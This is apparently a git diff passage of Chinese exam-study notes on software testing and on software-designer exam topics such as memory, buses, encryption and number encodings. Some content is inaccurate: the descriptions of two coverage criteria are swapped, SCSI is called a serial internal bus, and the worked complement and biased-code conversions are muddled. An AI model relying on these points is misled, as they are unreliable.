locks, stocks, barrels As Interger +Dim lockPrice, stockPrice, barrelPrice As Real +Dim totalLocks, totalStocks, TotalBarrels As Integer +Dim lockSales, stockSales, barrelSales As Integer +Dim sales, commission As Real + lockPrice = 45.0 + stockPrice = 30.0 + barrelPrice = 25.0 + totalLocks = 0 + totalStocks = 0 + totalBarrels = 0 + + Input(locks) + While NOT (locks = -1) + Input(stocks, barrels) + totalLocks = totalLocks + locks + totalStocks = totalStocks + stocks + totalBarrels = totalBarrels + barrels + Input(locks) + EndWhile + + Output("Locks sold: ",totalLocks) + Output("Stocks sold: ",totalStocks) + Output("Barrels sold: ",totalBarrels) + lockSales = lockPrice*totalLocks + stockSales = stockPrice*totalStocks + barrelSales = barrelPrice*totalBarrels + sales = lockSales + stockSales + barrelSales + Output("Total sales: ",sales) +If (sales>1800.0) + Then + // commission:定义 + commission=0.10*1000.0 + // commission:定义+使用 + commission=commission+0.15*800.0 + //commission:定义+使用 + commission=commission+0.20*(sales-1800.0) + Else If (sales>1000.0) + Then +// commission:定义 + commission=0.10*1000.0 + // commission:定义+使用 + commission=commission+0.15*(sales-1000.0) + // commission:定义+使用 + Else commission=0.10*sales + EndIf + Endlf + Output("Commission is $",commission) + End Commission + +``` +5.全定义覆盖准则 + +集合T满足程序P的全定义(all definition)准则,当且仅当对于所有变量v∈V,T包含从v的每个定义结点到v的一个使用的定义清除路径 + +6.全使用覆盖准则 +集合T满足程序P的全使用(all use)准则,当且仅当对于所有变量v∈V,T包含从v的每个定义结点到v的所有使用的定义清除路径 + +7.全使用覆盖与全定义-使用覆盖的区别 +``` +b:定义X,Y +c:引用X和Y 定义X +d:引用X和Y 定义Y +``` + +结点b定义x,y,结点c和d使用b所定义的x,y + +全使用覆盖:检查每个定义的所有可传递到的使用,但对如何从一个定义传递到一个使用不作要求。 + +全定义覆盖:使用覆盖要求检查所有可能的路径,但为了避免有环路时的无穷多条路径,限制只检查无环路的或只包含一条环路的路径 + + +8.基于程序片的测试 + +```c++ +13 Input(locks) +14 While NOT (locks = -1) +15 Input(stocks, barrels) +16 totalLocks = totalLocks + locks +17 totalStocks = totalStocks + stocks +18 totalBarrels = totalBarrels + barrels +19 Input(locks) +20 EndWhile +``` + +``` +变量locks上的片: +S1: S(locks,13)=(13) +S2: S(locks,14) = (13,14,19,20) +S3: S(locks,16) = (13,14,16,19,20) +S4: S(locks,19) = (19) +``` + +9.定义节点 +定义节点 -- DEF(v,n) + +使用节点 -- USE(v,n) + +谓词使用 -- P-use + +计算使用 -- C-use + +定义-使用路径 -- du-path:变量v的定义-使用路径(记du-path)P中的所有路径集合PATHS(P)中的路径,使得对某个v∈V,存在定义和使用结点DEF(v, m)和USE(v, n),使得m和n是该路径的最初和最终结点 + + +定义-清除路径 -- dc-path:变量v的定义清除路径(definition-clear path,记作dc-path)最初和最终结点DEF(v, m)和USE(v, n)的PATHS(P)中的路径,使得该路径中没有其他结点是v的定义结点 + +全定义覆盖准则:测试路径需要覆盖所有定义点和任意一个使用点,用dc-path扩展成测试路径 + +全使用覆盖准则:测试路径需要覆盖所有定义点和所有使用点,用dc-path扩展成测试路径 + +全定义-使用路径覆盖准则:测试路径需要覆盖所有定义点到所有使用点的路径,用dc-path扩展成测试路径 + + +10.练习 写出a变量的定义-使用路径,并判断是否定义清除路径。写出变量a的程序片。 + +```c++ +a=5; +While(C1) { + if (C2){ + b=a*a; + a=a-1; + } + print(a); +} +//https://blog.csdn.net/william_munch/article/details/85273730 +``` +定义节点:1,5 +使用节点:4,5,6 +定义使用路径: +1-2-3-4 是 +1-2-3-4-5 否 +1-2-3-4-5-6 否 + +``` +https://wenku.baidu.com/view/80295fcd852458fb760b5684?pcf=2&re=view&bfetype=new&bfetype=new&_wkts_=1684201483711&login_type=weixin +``` + + + + +## Part7-结构性测试 + + +1.何时停止测试? + +当继续测试没有产生新失效时 +当继续测试没有产生新缺陷时 +当所要求的覆盖率达到时 + +2.用于方法评估的指标的定义 + +功能性测试手段M生成**m个测试用例**,并且根据标识被测单元中的**s个元素的结构性测试指标**S来跟踪这些测试用例。执行m个测试用例时,会经过**n个结构性测试元素** + +方法M关于指标S的覆盖率C(M,S),是n与s的比值,即C(M,S)=n/s +方法M关于指标S的冗余R(M,S),是m与s的比值,即R(M,S)=m/s +方法M关于指标S的净冗余NR(M,S),是m与n的比值,即NR(M,S)=m/n + +3.DD-路径测试 +即判定/分支覆盖:程序中每个判定的各个分支至少经历一次 + +4.基路径测试 +控制流图/程序图的圈复杂度V(G)=11,因此基本路径集包括11条独立路径 + +## Part8-集成测试 +1.集成测试的方法? + +基于分解的集成: +这种方法将系统分解为多个模块,逐步地将每个模块与其他模块组合起来进行测试,直到整个系统被完全集成为止。在集成过程中,可以采用增量式的方式,根据测试结果不断调整和优化模块间的接口和交互。 + +基于调用图的集成: +这种方法使用系统内部的调用图来确定测试顺序和优先级。测试人员先对系统中的基本模块进行测试,然后从调用关系中找出下一个需要测试的模块,逐步往后测试,直到整个系统被完全集成为止。 + +包括: +成对集成测试(Pair-wise Integration Testing) +相邻集成测试(Neighborhood Integration Testing) + +成对集成测试: +主要考虑组件之间的交互作用。它将每个组件与其它组件配对,确保每个组件至少与另一个组件进行了一次交互。这种方法能够有效地发现组件之间的接口问题,但可能无法检测到组件内部的问题。 + +相邻集成测试: +则是在组件的层次结构上进行的测试。该方法从最底层的组件开始,逐层向上测试,直到整个系统被测试为止。这种方法优点是可以发现组件内部的问题,并且具有逐渐推进、逐步加深的过程,缺点是测试所需时间相对较长。 + +基于路径的集成: + +这种方法主要是针对复杂系统的测试,它通过模型验证或静态代码分析等方式,建立系统的控制流模型和数据流模型,然后根据这些模型来生成测试用例并进行测试。在测试过程中,测试人员会关注系统中的各种路径和变量赋值情况,以确保系统在各种情况下都能正常运行。 + + +2.什么是集成测试? +集成测试将**经过单元测试的模块**逐步进行组装和测试 +集成测试验证程序和**概要设计**说明的一致性 +集成测试在模块组装后**查找模块间接口**的错误 + +3.什么是结构化的分析方法? + +- 功能模型:数据流图 +- 数据模型:E-R图 +- 控制模型:有限状态机 + +4.MM-路径? +穿插出现模块执行路径和消息的序列。 +用来描述包含在不同单元之间转移控制的模块执行路径序列,这种转移是通过消息完成的 +MM-路径总是代表了可行的执行路径,并且这些路径要跨越单元边界 +在经过扩展的程序图中可以发现MM-路径,其中的结点表示模块执行路径,边表示消息。MM-路径图是一种有向图,其中的结点表示模块执行路径,边表示单元之间的消息和返回 + +5.程序(Page200-202) +写出第一次尝试正确PIN输入的MM-路径 + +## Part9-系统测试 +1.系统测试 +回归测试(regression testing) +功能测试(function test) +用户界面测试(GUI test) +压力测试(stress test) +性能测试(performance test) +安全测试(security test) +容错测试(recovery test) + +2.线索 + +子系统功能由一组ASF节点和串行流边构成的有向图表示。源ASF和汇ASF分别是入口和出口点,其中“ATM卡输入”作为源ASF,“会话结束”作为汇ASF。系统线索是从源ASF到汇ASF的路径,它表示了系统中指令或操作的执行顺序。线索图是对系统的ASF图进行抽象化处理,将一系列操作表示为按特定顺序连接在一起的节点,并通过有向边表示操作的执行顺序。 + +3.基于数据的线索测试 +基于数据的线索测试适用于数据驱动的系统,特别是以数据库为基础的系统。 +图书馆系统的一些典型事务处理: +图书馆添加图书 +图书馆撤除图书 +图书馆增加借阅者 +图书馆删除借阅者 +向借阅者出借图书 +借阅者返还图书处理 + +数据驱动的系统,特别是以数据库为基础的系统,可以借助基于数据的线索测试来进行测试。而在图书馆系统中,各种事务处理都涉及到数据的输入、输出和处理,因此基于数据的线索测试非常适用于该系统。以下是具体的组线索示例: + +DM1:检查每个关系的基数 +针对每个关系,编写测试用例并进行测试,以验证基数是否符合预期。例如,对于“图书”关系,可以验证添加一本图书后图书数量是否增加了1。 +DM2:检查每个关系的参与 +对于每个关系,检查它是否参与了所有需要它参与的事务处理,以确保所有数据都能被正确地处理和更新。例如,对于“借阅记录”关系,需要验证它是否正确记录了每次图书的借阅和归还。 +DM3:检查关系之间的函数依赖关系 +对于多个关系之间的函数依赖关系,需要设计一组测试用例,并进行测试,以确保系统的数据处理逻辑是正确的。例如,如果“借阅记录”依赖于“图书”和“借阅者”关系,那么需要验证当图书或借阅者信息发生变化时,相关的借阅记录是否正确地被更新。 +额外线索示例:不能借出不属于图书馆的图书 +针对这种特殊的逻辑关系,需要设计一组测试用例,并进行测试,以确保系统能够正确地处理这种情况。例如,在借阅时,需要验证当借阅者尝试借阅不属于图书馆的图书时,系统是否会拒绝该请求并提示错误信息 + +4.基于用例的线索 + +5.基于事件的线索测试 + +## Part-10 面向对象的测试 + +1.面向对象软件的特征: + +封装性:将数据和对数据的操作封装在类中,保证数据的安全性 +继承性:通过继承可以实现代码复用,减少冗余代码量 +多态性:通过重载、重写等方式可以实现同名函数的不同功能, + +2.面向对象软件测试层次 + +单元测试-详细设计:针对单个类或方法进行测试的过程,以保证它们的功能正确。 + +集成测试-概要设计:针对不同类之间的交互进行测试的过程。在集成测试中,会将单元测试通过的类组合起来进行测试,以确保它们在整个系统中的协作和交互没有问题。 + +系统测试-需求规格说明:对整个软件系统进行测试的过程,确保其符合用户需求,并且能够正常地运行。 + +3.Date.increment的单元测试 +``` +用等价类测试方法,定义三个等价类: +D1={日期: 1<=日期<月的最后日期} +D2={日期: 日期是非12月的最后日期} +D3={日期: 日期是12月31日} + +``` + +4.以类为单元的测试 + +5.面向对象的集成测试 + +6.基于协作图的成对集成测试 + +7.面向对象软件的MM-路径 +面向对象软件的MM-路径和传统软件的MM-路径很相似,都是通过路径描述模块之间的调用关系。但是,在面向对象软件中,使用“消息”来表示对象之间的通信,而不是函数或过程的调用。因此,MM-路径被定义为一系列被消息隔开的方法执行序列。这样可以更好地表达对象之间的交互关系和依赖关系。 + +与传统软件一样,一个方法也可能有多条内部执行路径,即相同的方法可以由不同的输入执行出不同的结果。这种情况下,可以根据输入参数、状态等条件将方法执行路径划分成多个子路径。 + +MM-路径从某个方法开始,当到达某个自己不发送任何消息的方法时结束,这就是所谓的消息静止点。这意味着在整个MM-路径中,只考虑对象之间的消息传递,不考虑对象内部的方法调用。同时,MM-路径还需要满足一些其他的要求,比如完整性、可达性、有效性等。这些要求可以帮助测试人员找到系统中潜在的缺陷和错误,并尽早修复它们,从而提高软件的质量和可靠性。 + +8.顺序图几乎等价于MM路径 + +9.原子系统功能(ASF)? +面向对象软件中的MM-路径是由消息连接起来的方法执行序列. +原子系统功能(ASF)是一种MM-路径,ASF从输入端口事件开始,经过一系列对象之间的消息传递和方法执行,最终到达输出端口事件。 + +10.练习:请写出次日问题中输入是“2010-12-31”的MM路径 + +11.练习:在货币转换程序中线索``代表什么意思,对它们的测试是否有意义,为什么? + + +## Part-11用户界面测试GUI测试 + +## Part-12测试管理 +1.动态测试的过程 +编码(单元测试)——设计(集成测试)——规格定义(系统测试)——用户需求(验收测试) + +2.单元测试 +静态测试+百盒测试 + +3.集成测试 +黑盒测试 + +4.系统测试 +黑盒测试 + +5.验收测试 +黑盒测试 + +6.回归测试 +黑盒测试+百盒测试 + +7.缺陷跟踪 +缺陷跟踪系统 + +8.不是所有缺陷都会修改 +时间原因 +产品说明书更改 +测试员错误理解造成的缺陷 +修改风险太大 +修改性价比太低 +缺陷报告不够有效 + + +## Part-13测试驱动开发 + +1.测试驱动开发的基本概念: +测试驱动开发(TDD,Test Driven Development)是一种软件开发方法论,其基本思想是在编写代码之前先编写测试用例,然后通过不断的测试与重构来达到代码质量的提高和功能的完善。TDD的核心是测试,它强调在代码实现之前先编写测试用例,然后根据测试用例来编写代码,最后再进行测试和重构。 + +2.测试驱动的基本流程: +测试驱动开发的基本流程包括以下三个步骤: +(1)编写测试用例:根据需求和功能编写测试用例。 +(2)编写代码:根据测试用例编写代码。 +(3)运行测试:运行测试用例,检查代码是否符合要求。 + +3.测试驱动的所采用的技术及工具: +测试驱动开发所采用的技术和工具包括: +(1)单元测试框架:如JUnit、TestNG等。 +(2)Mock框架:如Mockito、EasyMock等。 +(3)持续集成工具:如Jenkins、Travis CI等。 +(4)自动化构建工具:如Maven、Gradle等。 + +4.对NextData的测试驱动开发: +NextData可以采用测试驱动开发来提高代码质量和开发效率。具体实现步骤为:先编写测试用例,然后编写代码,最后运行测试用例进行验证。在测试驱动过程中,可以使用JUnit等单元测试框架和Mockito等Mock框架来进行测试和模拟。 + +5.自动化测试执行(测试框架): +自动化测试执行是指通过编写测试脚本来自动执行测试用例,以减少手动测试的工作量和提高测试效率。常用的自动化测试框架包括Selenium、App、Robot Framework等。 + +6.Junit框架示例: +下面是一个简单的JUnit测试用例示例: + +```java +import org.junit.Test; +import static org.junit.Assert.assertEquals; + +public class MyTest { + + @Test + public void testAdd() { + int num1 = 5; + int num2 = 7; + int result = num1 + num2; + assertEquals(12, result); + } +} +``` + +7.测试驱动开发的优缺点: +测试驱动开发的优点包括: +(1)提高代码质量:通过编写测试用例,可以更加全面地测试代码,减少代码中的缺陷。 +(2)提高开发效率:测试驱动开发可以帮助开发人员更快地定位和解决问题提高开发效率。 +(3)提高代码可维护性:测试驱动开发可以促使开发人员编写更加可维护的代码。 +(4)提高代码设计:测试驱动开发可以促使开发人员在编写代码之前先考虑代码的设计。 + +测试驱动开发的缺点包括: +(1)需要学习新的方法:测试驱动开发需要开发人员学习新的方法和工具。 +(2)增加开发时间:测试驱动开发需要编写测试用例和进行测试,因此可能会增加开发时间。 +(3)测试用例的维护:测试用例需要随着代码的更新而进行维护,可能会增加开发人员的工作量。 + +8.模型驱动开发与测试驱动开发对比: +模型驱动开发(MDD,Model Driven Development)和测试驱动开发(TDD,Test Driven Development)都是一种软件开发方法论,但它们的重点不同。MDD的重点是通过模型来驱动代码的生成,而TDD的重点是通过测试来驱动代码的编写。MDD更加注重模型的设计和生成,而TDD更加注重代码的测试和重构。 +模型驱动开发依赖于建模技术,测试驱动开发依赖于测试技术。 + + +## Part-14 单选题 +1.在黑盒测试中,着重检查输入条件组合的方法是(因果图法) +2.单元测试主要从下面五个基本特征进行测试,分别是:模块接口、局部数据结构、独立路径和出错处理 +3.版本管理是对系统不同版本进行的(标识与跟踪)过程 +4.对软件是否能达到用户所期望的要求的测试称为(验收测试) +5.在进行软件测试时,首先应当进行(单元测试),然后再进行组装测试,最后再进行有效性测试。 +6.从下列叙述中选出能够与软件开发需求分析、设计、编码相对应的软件测试(确认测试、组装测试、单元测试) +8.易用性测试包括的内容(安装测试,菜单测试,界面测试) +9.在进行单元测试时,常用的方法是(采用白盒测试,辅之以黑盒测试) +10.根据软件需求规格说明书,在开发环境下对已经集成的软件系统进行的测试是(系统测试) +11.软件质量保证活动的目标为:制定和规划软件质量保证的任务,客观地验证软件产品和各项任务是否遵循适用的标准、规程和需求,相关小组和个人保持良好的沟通,及时通知他们在软件质量保证方面的认识和结果,高层管理人员能够参与并帮助解决项目中不能解决的不相容问题。而选项B(用最少的时间和人力,找出软件中潜在的各种错误和缺陷)应为软件测试的目标,两者要区分开来。 +12.回归测试的目的是:(确保修正过程中没有引入新的缺陷) +13.关于软件质量保证和软件测试的描述:软件质量保证和软件测试是软件质量工程的两个不同层面的工作。在软件质量保证的活动中也有一些测试活动。软件测试是保证软件质量的一个重要环节。 +14.软件测试的对象包括(源程序、目标程序、数据及相关文档) +15.瀑布模型:瀑布模型适用于软件需求确定,开发过程能够釆用线性方式完成的项目, +16.软件质量的定义是( 软件特性的总和,以及满足规定和潜在用户需求的能力) +17.软件测试对软件质量的意义(度量与评估软件的质量,改进软件开发过程,发现软件错误。) +18.① 黑盒测试与软件具体实现无关,所以如果软件实现发生了变化,测试用例仍然可以使用; ② 设计黑盒测试用例可以和软件实现同时进行,因此可以压缩项目总的开发时间。主要应用于集成测试、确认测试、系统测试、验收测试 +19.系统测试关注的是(项目或产品范围中定义的整个系统或产品的行为) +20.设计功能测试用例的根本依据是(用户需求规格说明书) +21.界面元素测试包括:窗口测试、菜单测试、图标测试、文字测试、鼠标测试。 +22.回归测试是对已被测过的程序实体在修改缺陷或变更后进行的重复测试,**以此来确认在这些变更后是否有新的缺陷引入系统** +23.静态测试和动态测试的区别描述正确的是( 静态测试并没有真正的运行软件,而动态测试需要运行软件) +24.下面那个属于静态分析(编码规则的检查,程序结构分析,程序复杂度分析) +25.动态测试用例规格说明的内容包括(①前置条件②输入数据③预期结果 ) +26.边界值分析法进行健壮性测试,需要对程序的每个输入变量选取( 略小于最小值、最小值、略大于最小值、正常值、略小于最大值、最大值,略大于最大值)来设计测试用例。 +27.某程序输入X为整数类型变量,1<=X<=10,如果用边界值分析法设计测试用例,则X应该取( 0, 1, 10, 11)边界值。 +28.某程序的一个输入变量的取值范围是正整数,那么这个变量的有效边界值的数是(0) +29.基本的测试过程主要由下面哪些活动组成:①计划和控制(control)②分析和设计③实现和执行④评估出口准则和测试报告⑤测试结束活动 +30.在规格说明不完全的情况,最适合采用的测试技术是(基于经验的测试技术) +31.软件的六大质量特性包括(功能性、可靠性、可用性、效率、可维护、可移植0 +32.黑盒测试技术包括:边界值分析、因果图、等价类划分、状态转换 +33.DD路径和MM路径的区别:DD路径是模块内程序执行路径。MM路径是模块间执行路径序列。V(G)= e-n+2p +34.线索有不同的层次:单元级线索——指令执行路径或者DD-路径。继承测试线索是MM-路径,即模块执行和消息交替序列。系统级线索是院子系统功能序列。 +单元测试的线索是模块内的路径的执行序列。集成测试的线索是模块间的路径执行序列。系统级的线索是系统输入到输出的路径。 +35.基于用例的线索测试(Use-case-based testing)、基于事件的线索测试(Event-based testing)、基于端口的线索测试(Port-based testing)和基于数据的线索测试(Data-based testing)是软件测试方法的四种类型。下面我们将分别介绍它们的概念,如何进行测试,以及举一个例子并进行分析。 +36.线索测试 + +基于用例的线索测试(Use-case-based testing) +概念:基于用例的线索测试是一种以用户使用场景为基础的测试方法,通过分析用户需求和使用场景,设计出具有代表性的测试用例。 + +如何做:确定软件的功能需求,分析用户使用场景,编写用例,设计测试数据和预期结果,执行测试并记录实际结果,对比预期结果和实际结果。 + +例题:一个简易计算器软件,测试用例可以是“两个数相加” + +例题分析:在这个例子中,我们可以通过以下步骤进行测试: + +分析用户需求:用户需要进行加法运算 +设计测试用例:输入两个数值,执行加法操作 +设计测试数据和预期结果:例如,输入1和2,预期结果是3 +执行测试并记录实际结果 +对比预期结果和实际结果 + +基于事件的线索测试(Event-based testing) +概念:基于事件的线索测试是一种以用户触发的事件为基础的测试方法,通过模拟用户操作来检查软件在特定事件触发下的响应。 + +如何做:确定软件中的事件,设计测试用例模拟事件触发,执行测试并验证软件在事件触发时的响应是否符合预期。 + +例题:一个在线购物网站,测试用例可以是“用户点击购物车图标” + +例题分析:在这个例子中,我们可以通过以下步骤进行测试: + +分析用户事件:用户点击购物车图标 +设计测试用例:模拟用户点击购物车图标 +执行测试并验证软件响应:购物车页面正确显示,包括购物车内的商品列表等信息 + + +基于端口的线索测试(Port-based testing) +概念:基于端口的线索测试是针对软件的输入输出端口进行测试的方法,主要验证软件接口和与外部系统的交互是否正确。 + +如何做:分析软件的输入输出端口,设计测试用例针对端口进行测试,验证软件与外部系统的交互是否符合预期。 + +例题:一个天气查询应用,测试用例可以是“从天气数据提供商获取数据” + +例题分析:在这个例子中,我们可以通过以下步骤进行测试: + +分析软件端口:应用从天气数据提供商获取数据的接口 +设计测试用例:模拟应用请求天气数据 +执行测试并验证软件与外部系统交互:确保应用能正确解析并显示从天气数据提供商获取的数据 + +``` +端口的输入事件考虑: +Pl1:每个端口输入事件发生。 +Pl2:端口输入事件的常见序列发生。 +Pl3:每个端口输入事件在所有相关数据语境中发生。 +Pl4:对于给定语境,所有不合适的输入事件发生。 +Pl5:对于给定语句,所有可能的输入事件发生。 +端口的输出事件考虑: +PO1:每个端口输出事件发生。 +PO2:每个端口输出事件在每种情况下发生。 +``` + +基于数据的线索测试(Data-based testing) +概念:基于数据的线索测试是一种以软件处理数据为基础的测试方法,主要关注软件在不同数据输入下的表现。 + +如何做:确定软件处理的数据类型,设计具有不同数据特点的测试数据,执行测试并验证软件在处理这些数据时的表现是否符合预期。 + +例题:一个文本编辑器软件,测试用例可以是“打开不同编码格式的文本文件” + +例题分析:在这个例子中,我们可以通过以下步骤进行测试: + +分析软件处理的数据类型:文本文件的编码格式(如UTF-8、GBK等) +设计测试数据:准备具有不同编码格式的文本文件。 +执行测试并验证软件表现:确保文本编辑器能正确识别和显示不同编码格式的文本文件内容 + + +1 a=5; +2 While(C1) { +3 if (C2){ +4 b=a*a; +5 a=a-1; +6 } +7 print(a); } +1-5 +4-5-7 + diff --git a/_posts/2023-5-12-test-markdown.md b/_posts/2023-5-12-test-markdown.md new file mode 100644 index 000000000000..d304561f597f --- /dev/null +++ b/_posts/2023-5-12-test-markdown.md @@ -0,0 +1,1465 @@ +--- +layout: post +title: 软件设计——中级 +subtitle: +tags: [软件设计] +comments: true +--- + +1.立即寻址最快,寄存器寻址次之,直接寻址最慢。 +立即寻址将操作数直接嵌入到指令中,因此可以立即访问而不需要额外的内存访问。寄存器寻址涉及将操作数存储在寄存器中,这需要访问寄存器文件,但仍然比直接寻址要快。直接寻址需要额外的内存访问来检索操作数,使其成为三种寻址模式中最慢的一种。 + +2.PCI总线和SCSI总线 +功能不同:PCI是一种系统总线,用于在计算机的各个部件之间传输数据;而SCSI是一种外围设备接口,用于连接和控制存储设备、打印机和其他辅助设备。 + +PCI总线是并行内总线, SCSI 总线是串行内总线 + +3.DMA/程序中断 + +DMA是是指直接内存访问(Direct Memory Access),是一种计算机数据传输技术。它可以在不占用CPU时间的情况下,允许外设(如网卡、声卡、磁盘控制器等)直接访问主存储器中的数据,从而实现高速数据传输。 + +硬件中断:是指计算机硬件设备向CPU发出的中断信号,例如I/O操作完成、计时器超时等硬件事件。当发生硬件中断时,CPU会停止当前的程序执行,切换到处理该中断的程序,在处理完成后再返回原来的程序。 + +软件中断:是指通过软件调用专门的中断指令来实现的程序中断。软件中断也被称为“系统调用”,是用户程序获取操作系统功能的主要方式,例如打开文件、读写数据等。 + +异常:也被称为“陷阱”,是指在程序运行过程中发生了一些不可预知的情况,例如除零错误、访问非法内存地址等。当发生异常时,CPU会停止当前进程的执行,切换到操作系统内核态处理程序来处理异常,处理完成后再返回进程,进程继续执行。 + +系统调用:是指用户进程运行期间主动进行的一种中断方式,它把控制权交给了操作系统内核。用户进程可以通过系统调用请求操作系统提供服务,例如创建、删除、打开和关闭文件等。 + +DMA方式可以减轻CPU负担,但是在开始和结束数据传输时,CPU仍然需要进行一定的配置、控制、管理等操作。 + +DMA方式允许外围设备直接与内存进行数据交换,不需要CPU参与,所以传输速度更快。 + +4.中断向量提供( 中断服务程序入口地址)。 + +5.SRAM + +**静态随机存取存储器**,是一种半导体存储器。与**需要定期刷新以保持数据完整性的动态随机存取存储器(DRAM)**不同(使用电容器来存储数据,因此需要定期刷新以避免电容器失去其电荷),它使用锁存电路来存储每个位。 SRAM 比 DRAM 更快、更可靠,但成本更高,存储密度更低。 它通常用于需要快速访问数据的应用程序,例如CPU和微控制器中的**高速缓存存储器**SRAM的数据会在断电后丢失,DRAM需要定期刷新才能保持数据。一般来说,SRAM用于CPU的缓存,DRAM用于主存。 + +``` + SRAM DRAM + 静态 动态 +存储时间: 无限长 几毫秒 +速度: 快 慢 +成本: 高 低 +存储密度 低 高 +用途 CPU缓存 主存 + +``` + +6.高速缓存存储器(Cache Memory) + +是计算机中的一种特殊存储设备,它用于提高计算机处理速度。它通常位于**CPU和RAM**之间,作为CPU读取和写入数据时的一个缓冲区。 + +7.DRAM + +是动态随机存储器(Dynamic Random Access Memory)的缩写。它是一种常用的计算机内存,用来存储正在运行的程序和数据。 + +8.FLASH + +Flash 存储器采用了一种称为闪存的技术,通过在微小的晶体管上存储电荷来表示数字信息。当需要读取存储在 Flash 存储器中的数据时,控制电路将读取的请求发送到存储器芯片,并将数据发送回计算机或其他设备。与 DRAM 不同,Flash 存储器不需要定期刷新,因此可以实现长期数据存储。 + +由于其快速读取速度和较低的功耗,Flash 存储器已经成为许多电子产品不可或缺的组成部分,如USB闪存驱动器,闪存卡和SSD硬盘驱动器等,这些产品已经替代了早期使用的磁带式和软盘式的存储介质。 + +9.EEPROM + +EEPROM是一种可擦写可编程只读存储器(Electrically Erasable Programmable Read-Only Memory)。它是一种用于存储数据的非易失性存储器,可以在电源关闭时保持存储的数据。EEPROM的特点是可以对其中的数据进行单独的、逐字节的修改,并且这些修改是非破坏性的,也就是说,即使修改了其中的某个字节,其他字节的数据仍然会被保留。EEPROM可以使用电气信号来擦除和编程内部单元,因此不需要物理上移动或更换芯片来实现操作。EEPROM广泛应用于存储小量数据的场景,如记录系统配置信息、校准数据等。由于EEPROM擦写次数有限,所以需要注意合理使用和管理。 + + +10.补码转换为原码。 +我们假设已知一个8位二进制补码的值为11111010,现在要将它转换为原码: +11111010 -10000110 除了符号位,按位取反+1 原码加负号。 + +11.部署防火墙/安装并及时升级防病毒软件/部署入侵检测系统 +部署防火墙有助于保护计算机**网络免受恶意攻击**和**未经授权的访问** +安装并及时升级防病毒软件:安装并及时升级防病毒软件是可以有效防治计算机病毒的策略。防病毒软件可以通过监控系统中出现的病毒、木马等恶意软件进行实时监控和处理,以保护计算机系统的安全。 +部署入侵检测系统:部署入侵检测系统可以帮助企业监控其计算机网络系统中的安全事件,并及时发现和响应入侵威胁。 + +12.AES/RSA/MD5/SHA-1 + +A.公钥加密    B.流密码    C.分组加密    D.消息摘要 + +AES是一种分组加密算法:其加密过程中将明文数据分成固定长度的数据块进行加密。 + +RSA:公钥加密:RSA算法基于质因数分解难题,即将一个大整数分解为两个质数的乘积。非对称加密 + +MD5/SHA-1/SHA-256 消息摘要算法:任意长的消息输入输出到固定长度。 + +流密码:对称加密,基于密钥生成的伪随机比特序列。 + +13.IGMP/SSH/Telnet/RFB +IGMP:IP网路上实现对多组播加入,离开,查询 +SSH:加密网络协议,用来文件传输或者远程登录。 +Telnet:网络协议,用来远程登录,文件传输 +RFB:远程桌面控制协议 + +14.包过滤防火墙对( 网络层)的数据报文进行检查。 + +网络层负责:IP地址和路由选择。 + +15.防火墙通常分为内网、外网和DMZ三个区域,按照受保护程度,从低到高正确的排列次序为( ) +答:按照受保护程度,从低到高的排列次序为:外网、DMZ、内网。外网是互联网,它是最不受保护的区域,因为它可以随意被任何人访问。DMZ(Demilitarized Zone)区域通常是指介于内外网之间的一层网络,用于存放Web服务器、邮件服务器等对外提供服务的应用程序。DMZ比外网受保护,但比内网不受保护。最后是内网,它包含公司网络中最重要和最敏感的资源,如数据库服务器、文件服务器等。因此,内网需要最高级别的安全保护。 + +16.是构成我国保护计算机软件著作权的两个基本法律文件。 + +A.《计算机软件保护条例》和《软件法》 + +B.《中华人民共和国著作权法》和《软件法》 + +C.《中华人民共和国著作权法》和《计算机软件保护条例》 + +D.《中华人民共和国版权法》和《中华人民共和国著作权法》 + +C + +17.增量模型 + +增量模型作为瀑布模型的一个变体,具有瀑布模型的所有优点。此外,它还具有以下优点:第一个可交付版本所需要的成本和时间很少;开发由增量表示的小系统所承担的风险不大:由于很快发布了第一个版本,因此可以减少用户需求的变更:运行增量投资,即在项目开始时,可以仅对一个或两个增量进行投资。增量模型有以下不足之处:如果没有对用户变更的要求进行规划,那么产生的初始量可能会造成后来增量的不稳定;如果需求不像早期思考的那样稳定和完整,那么一些增量就可能需要重新开发,重新发布;管理发生的成本、进度和配置的复杂性可能会超出组织的能力。 + +18.敏捷统一过程(AUP) 的叙述 +- 在大型任务上连续 +- 在小型活动上迭代 +- 每一个不同的系统都需要一套不同的策略、约定和方法论 + +敏捷统一过程(Agile Unified Process,AUP)是一个轻量级的、面向对象的软件开发方法,相较于传统的UP方法,它更加灵活、简化和具有迭代方式。在AUP中,虽然仍然包括初始、精化、构建和转换这四个阶段,但是每个阶段都是连续的迭代,并非经典的UP方法中那样分成固定的几个阶段。 + + +19.极限编程(XP)/水晶法(Crystal)/并列争球法(Scrum)/自适应软件开发(ASD + +极限编程(XP)强调团队合作、快速反馈和频繁交付等原则。它涉及到持续集成、测试驱动开发、重构和简单设计等实践。 + +水晶法(Crystal)是由Alistair Cockburn提出的一组方法论。它包括多种不同规模和复杂度的"水晶",每种水晶都有其对应的开发方法和过程。 + +并列争球法(Scrum)是由Ken Schwaber 和Jeff Sutherland提出的一种增量式、迭代式软件开发方法。它强调团队合作、产品所有者驱动、时间盒和可视化等概念。 + +自适应软件开发(ASD)是一种根据项目需要自适应调整的软件开发方法。在ASD中,开发人员需要灵活地选择和使用各种技术和工具,同时也需要关注项目的变化和风险等因素。 + +20.硬盘的格式化容量 +``` +假设某硬盘由 5 个盘片构成(共有 8 个记录面),盘面有效记录区域的外直径为 30cm,内直径为 10cm,记录位密度为 250 位/mm,磁道密度为 16 道/mm,每磁道分 16 个扇区,每扇区 512字节,则该硬盘的格式化容量约为 ( ) MB + +8(30-10)*10*16*16*512 /(2*1024*1024) +``` +21.虚拟存储器/高速存储器/相联存储器/随机访问存储器 +虚拟存储器:将不长用的数据暂时保存到磁盘等外部存储设备上,更具需求重新读区到内存。 +高速存储器:速度较快的内存和缓存 Cache/SRAM +随机访问存储器: RAM/SARM/DRAM,可随机访问任意单元的存储设备。 +相联存储器:使用类似哈希表的方式实现数据的存储和检索。相联存储器主要由两个部分组成,一个是存储数据的内容部分,另一个是用于比较查找的标签部分。在进行数据检索时,系统会将待查找数据的标签与所有存储数据的标签进行比较,如果匹配成功,则返回相应数据的内容;否则返回未找到的错误信息。 + +22.负数的补码和移码 +``` +原码 +10000011 +补码: 11111100+1= 11111101 +移码: +11111100 + +``` + +23.-0的原码 +``` +原码:1 +补码:1 +移码:0 +X=-101011 , [X]原= 10101011 ,[X]反=11010100,[X]补=11010101,[X]移=01010101 +原码:1101011 +反码:1010100 +补码:1010101 +移码:0010101 +``` + 